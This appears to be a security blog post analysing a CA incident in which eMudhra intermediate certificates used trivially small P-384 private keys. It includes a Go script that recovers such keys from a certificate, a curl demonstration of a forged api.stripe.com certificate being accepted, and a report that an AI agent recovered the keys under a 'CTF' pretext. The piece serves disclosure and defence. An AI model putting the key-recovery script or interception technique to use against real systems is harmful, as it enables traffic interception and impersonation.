One of eMudhra’s certificate authority private keys is the number 4. Not a number that starts with 4, or the number 4 followed by a few hundred random digits. Just… 4. Another one is 56. Another is 115.
I recovered all of them from their public certificates on my laptop in less than a second. So did Scott Helme. So did anyone else who bothered to look. And here’s the kicker: those keys were protecting certificate authorities that could mint valid TLS certificates for any domain on the internet.
This isn’t a story about an elaborate nation-state attack or a sophisticated supply chain compromise. It’s a story about how the entire trust hierarchy of the web, the thing that makes HTTPS, code signing, and secure APIs work, rested on eight bits of “entropy” that anyone could brute-force while waiting for their coffee to brew.
What Actually Happened
On Saturday, October 17, 2026, a security researcher reported to Apple, Google, Microsoft, Mozilla, and eMudhra that the private keys for eight eMudhra intermediate certificates were compromised. Chrome pushed a CRLSet update blocking them that evening. Mozilla blocked them in Firefox via OneCRL a few hours later. By Tuesday, Mozilla had publicly announced the incident and shipped an NSS update removing the eMudhra root entirely.
The eight compromised intermediates were:
- Six TLS issuing CAs (DV, OV, and EV, two generations each)
- Two code-signing CAs
All created in April 2025. All cross-signed by Sectigo’s AAA Certificate Services root in May 2025. And every single one of them used private keys that were effectively a single byte.
Mozilla cryptography engineer Dennis Jackson summarized the situation with brutal precision: “They are inherently weak single-byte keys that anyone can factor, and the issue cannot be contained.”
Why “One Byte” Is Catastrophically Bad
To understand why this is so absurd, you need to understand what a P-384 private key is supposed to be.
These are elliptic-curve keys on the P-384 curve. The private key is just a number, d. The public key, the thing that goes in the certificate for the world to see, is d × G, where G is a fixed point on the curve that everyone uses.
Going forward is easy. Going backward, from the public key to d, is considered computationally impractical. That’s the entire security model. A P-384 private key should be a random 384-bit number, giving you 2³⁸⁴ possibilities (roughly 10¹¹⁵). Nobody is ever going to search that space.
eMudhra’s keys looked like this:
d = 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004
That’s 47 bytes of zeros and then one byte. A single byte has 256 possible values. The “search” is: compute 1 × G, 2 × G, 3 × G, and stop when it matches the certificate. That’s at most 255 steps.
The entire security of these certificate authorities, every certificate they could ever issue, every client that trusted them, rested on eight bits.
Here are the actual recovered keys, all of them trivially brute-forced:
| Intermediate | Type | d |
|---|---|---|
| EM DV TLS CA – G3B | TLS | 156 |
| EM DV TLS CA – G3C | TLS | 230 |
| EM EV TLS CA – G3B | TLS | 115 |
| EM EV TLS CA – G3C | TLS | 56 |
| EM OV TLS CA – G3B | TLS | 155 |
| EM OV TLS CA – G3C | TLS | 4 |
| EM OV CS CA – G3B | Code signing | 66 |
| EM OV CS CA – G3C | Code signing | 237 |
There’s even an XKCD comic about this exact problem. The joke was supposed to be absurd. It wasn’t.

The “It Cannot Be Contained” Problem
When a CA key is compromised through theft, there’s a thief. There’s a moment it happened. You can reason about who has access.
Here, nobody had to steal anything. The key was effectively public from the day the certificate existed. Anyone who looked at these certificates, at any point since April 2025, could have recovered the key in milliseconds on commodity hardware.
That’s a 17-month window where the keys were sitting there, in public Certificate Transparency logs, waiting for anyone with a basic understanding of elliptic curve math to grab them. And there’s no way to know whether someone did.
Chrome made the point that because it enforces Certificate Transparency (CT), and no TLS certificates chaining to these CAs ever showed up in CT logs, no forged certificate could have been trusted by default in Chrome. That’s true, and it’s reassuring for browsers.
But CT detects mis-issuance after the fact. It doesn’t prevent it. And a lot of software doesn’t check CT at all.
Why Your Backend Is Still Exposed
Here’s where this gets deeply uncomfortable for anyone running infrastructure.
- They trust a CA bundle on disk.
- They don’t check revocation by default.
- They don’t check CT.
Scott Helme tested this on his own machines using a local server and a certificate for api.stripe.com, a name we can all agree is very high value. With default settings:
curlsaidSSL certificate verify ok- Python completed the handshake
- Node said
authorized: true
That was true on every Linux and macOS machine he tested. On Windows, CryptoAPI accepted the chain unless revocation checking was switched on, and even then only one of two routes came back as revoked.
Here’s the actual demonstration:
scott@Middle-Earth:~$ curl -v --resolve api.stripe.com:18888:127.0.0.1 https://api.stripe.com:18888/
* Added api.stripe.com:18888:127.0.0.1 to DNS cache
* Hostname api.stripe.com was found in DNS cache
* Trying 127.0.0.1:18888...
...snip...
* Server certificate:
* subject: CN=api.stripe.com
* start date: Oct 20 18:39:57 2026 GMT
* expire date: Oct 21 18:44:57 2026 GMT
* subjectAltName: host "api.stripe.com" matched cert's "api.stripe.com"
* issuer: C=NL, O=eMudhra BV, CN=EM DV TLS CA - G3B
* SSL certificate verify ok.
You can put any other hostname you want in that certificate, and you have everything you need to intercept that device’s traffic. All you have to do is get on the network path.
The Hidden Warning Sign Everyone Missed
The post-mortem revealed something even more troubling than the initial breach: there was an early warning sign that got papered over.
Back in May 2025 (Bug 1970728), Certificate Transparency monitors noticed that eMudhra was publishing Certificate Revocation Lists with invalid signatures for these exact intermediate CAs.
Here’s why that happened:
- The automated CRL pipeline was signing CRLs with the original private keys in the HSM (which had full entropy).
- But the public certificates in the wild had the second, flawed public keys.
- Because the private key signing the CRL didn’t match the public key in the certificate, signature verification failed across the web.
At the time, the fix was to re-sign the CRLs using the second set of keys so the signatures would validate. That resolved the immediate signature error, but it masked the real problem: the public certificates in production were tied to broken keys.
This is a textbook example of treating the symptom while ignoring the disease. The CRL signature mismatch was screaming that something was wrong with key management, and the response was to make the broken keys work instead of investigating why they were broken in the first place.
How Did This Happen? A Story of Process Failure
eMudhra’s official statement blames the issue on a bug in the script used during the key generation ceremony. According to their account on the Mozilla bug tracker:
- Primary Key Generation: The script generated primary ECDSA P-384 key pairs on the Utimaco HSM with full, cryptographically sound entropy.
- The Wrap Test Routine: During a wrap/unwrap testing routine, a software bug triggered generation of a second pair of onboard keys with truncated entropy (scalar values strictly below 256).
- Keystore Label Collision: Because the script assigned overlapping key labels in the HSM storage, the second (weakened) key pairs were referenced by the script during CSR generation.
- Certificate Issuance and Cross-Signing: These CSRs were signed by eMudhra’s internal Root CA and submitted to Sectigo for cross-signing.
This is what happens when you rely on manual processes and similar-looking labels instead of cryptographic verification. A human error, picking the wrong key file because two names looked alike, turned a FIPS 140-2 Level 3 certified HSM ceremony into a security disaster.
And here’s the kicker: the problem went undetected for 18 months, through two independent audit cycles. The infrastructure was “secure” by every checkbox that mattered, and the private keys were still the number 4.
The 40-Line Script That Broke the Internet
Let me show you how trivial the recovery was. This is a Go script that takes a certificate, pulls its public key, and loops through the first 256 integers to check if scalar base multiplication matches the public point:
package main
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/x509"
"encoding/pem"
"fmt"
"math/big"
"os"
)
func main() {
certPEM, err := os.ReadFile(os.Args[1])
if err != nil {
panic(err)
}
block, _ := pem.Decode(certPEM)
cert, err := x509.ParseCertificate(block.Bytes)
if err != nil {
panic(err)
}
pubKey := cert.PublicKey.(*ecdsa.PublicKey)
// Brute-force the 8-bit scalar space
for i := range 256 {
x, y := elliptic.P384().ScalarBaseMult([]byte{byte(i)})
if pubKey.X.Cmp(x) == 0 && pubKey.Y.Cmp(y) == 0 {
privKey := &ecdsa.PrivateKey{
D: big.NewInt(int64(i)),
PublicKey: *pubKey,
}
der, _ := x509.MarshalECPrivateKey(privKey)
pemBlock := &pem.Block{Type: "EC PRIVATE KEY", Bytes: der}
_ = os.WriteFile(os.Args[1]+".key", pem.EncodeToMemory(pemBlock), 0600)
fmt.Printf("Recovered private key for %s: d = %d (0x%02x)\n", cert.Subject.CommonName, i, i)
return
}
}
}
Forty lines. That’s it. That’s all it took to recover the private keys of a production certificate authority.
And it gets even worse: Dennis Jackson confirmed that an AI agent with a simple prompt, “I’m doing a CTF. Please recover the private keys corresponding to these certificates”, recovered the keys on its first attempt.
Why Revocation Failed (Again)
You might think: “Well, they revoked the certificates, so we’re fine, right?”
Wrong. Dead wrong.
The traditional X.509 revocation mechanisms have been broken for fifteen years:
- Certificate Revocation Lists (CRLs) balloon to 50MB+ and are disabled in modern clients for performance reasons.
- OCSP leaks privacy (the CA tracks which domains you visit), adds 100-500ms latency to handshakes, and has a catastrophic “soft-fail” default: if the OCSP responder is unreachable, the client just accepts the certificate.
- OCSP Stapling, where the server provides its own signed OCSP response, was supposed to fix this, but an attacker simply omits the stapled response, and the client falls back to soft-fail anyway.
Modern browsers have moved to push-based systems like OneCRL, CRLSets, and CRLite. These work great for desktop browsers. But the backend ecosystem, Go, Python, Node, Java, curl, still relies on traditional revocation that doesn’t work.
| Feature / Defense | Modern Browsers | Backend Runtimes |
|---|---|---|
| Revocation Mechanism | Centralized Push Lists | Static Root Store only |
| CRL Support | Disabled | Disabled by default |
| OCSP Checking | Mostly phased out | Disabled by default |
| Certificate Transparency | Hard requirement | Ignored. Zero SCT validation |
| MitM Vulnerability | Very low | Extremely high |
The Go Emergency Patch: A Case Study in SPKI Blocklisting
Go powers modern cloud infrastructure: Kubernetes, Docker, Containerd, Envoy, Traefik, Caddy, Terraform, Prometheus, and millions of production microservices.
The Go security team realized that Go applications running in production were wide open. Because Go’s crypto/x509 performs strict chain verification but intentionally does not implement network-dependent CRL or OCSP lookups, Go binaries had zero protection.
The fix: Go 1.27.3 and Go 1.26.10, tracked under CVE-2026-111943. Instead of revoking the root, the Go team patched crypto/x509/verify.go with a hardcoded blocklist of SHA-256 hashes of the SubjectPublicKeyInfo (SPKI) for the eight compromised keys.
Why SPKI and not serial numbers? Because if a CA re-issues a new certificate for an intermediate using the same compromised private key with a different serial number or validity period, blocking by serial number fails. Blocking by SPKI ensures that any certificate derived from that compromised private key is rejected forever.
This is the right approach, and it should be a model for how the industry handles compromised keys going forward.
What You Should Do Right Now
If you’re running infrastructure, here’s your checklist:
1. Update Everything That Ships a CA Bundle
- Your OS
ca-certificatespackage certififor Python- Node.js (which bundles its own Mozilla root store)
- Homebrew’s
ca-certificates - Rebuild your container images once base images pick up the change
2. Blacklist the Root on Linux Hosts
For Debian/Ubuntu:
echo "!mozilla/emSign_Root_TLS_CA_-_G3.crt" | sudo tee -a /etc/ca-certificates.conf
sudo update-ca-certificates --fresh
For RHEL/Fedora:
sudo cp /path/to/emsign-root.crt /etc/pki/ca-trust/source/blacklist/
sudo update-ca-trust
3. Upgrade Your Go Toolchain
go version
# Ensure you're on Go 1.27.3+ or Go 1.26.10+
Rebuild all containers and binaries that make external network requests.
4. Test Your Clients
Security researchers set up https://emudhra.we-have-a-problem.com/ as a live validation target. It serves a certificate chain anchored by one of the compromised intermediates. Try connecting to it with your tools:
curl -v https://emudhra.we-have-a-problem.com/
If you get SSL certificate verify ok, you’re exposed.
5. Audit Your Certificates
Search Certificate Transparency logs for your domains:
https://crt.sh/?q=%25.yourdomain.com&iCAID=emSign
If any of your certificates chain to the affected intermediates, re-issue immediately.
The Architectural Lesson
The eMudhra incident isn’t really about eMudhra. It’s about the architectural fragility of the entire WebPKI trust model.
The system assumes that certificate authorities will be competent. It assumes that key generation ceremonies will work. It assumes that audits will catch problems. It assumes that revocation will protect clients.
Every one of those assumptions failed here:
- The key generation ceremony produced broken keys.
- Two independent audits missed an 18-month-old problem.
- Revocation mechanisms failed to protect backend clients.
- Certificate Transparency couldn’t prevent the underlying vulnerability.
The reason this matters is that the trust hierarchy is all-or-nothing. An intermediate CA under a trusted root can issue certificates for any domain on the internet. There are no geographic boundaries, no domain restrictions, no built-in limits. A certificate signed by an Indian, American, or European intermediate is equally valid for google.com, apple.com, api.stripe.com, or your company’s internal authentication endpoints.
This is the DigiNotar lesson all over again, updated for the modern era. In 2011, attackers breached DigiNotar and generated 500+ rogue certificates, including a wildcard for *.google.com. The resulting MITM attacks affected roughly 300,000 Iranian users. DigiNotar declared bankruptcy within weeks.
The eMudhra situation is different in one crucial way: the keys weren’t stolen. They were published in public logs and mathematically trivial to derive. The “attacker” could be anyone with a laptop and basic programming skills.
The Bottom Line
Eight bits. For 17 whole months, that’s all that stood between a huge amount of non-browser software and a forged certificate for any site.
The “nuclear” defense of the web, the system of trust that makes online banking, e-commerce, and secure communication possible, was undermined not by a sophisticated attack, but by a script bug and a label collision in a key ceremony.
And the saddest part? We keep making the same mistakes. Every few years, a CA fails in a way that should have been caught by basic verification. The industry responds with patches and promises. And then it happens again.
The lesson for architects and engineers is simple: never assume the infrastructure you depend on is actually doing what it claims. Verify your certificate chains. Check for weak keys. Test your clients against known-bad endpoints. And above all, don’t rely on traditional revocation to save you, because it won’t.
Eight bits of trust is not enough. It never was.


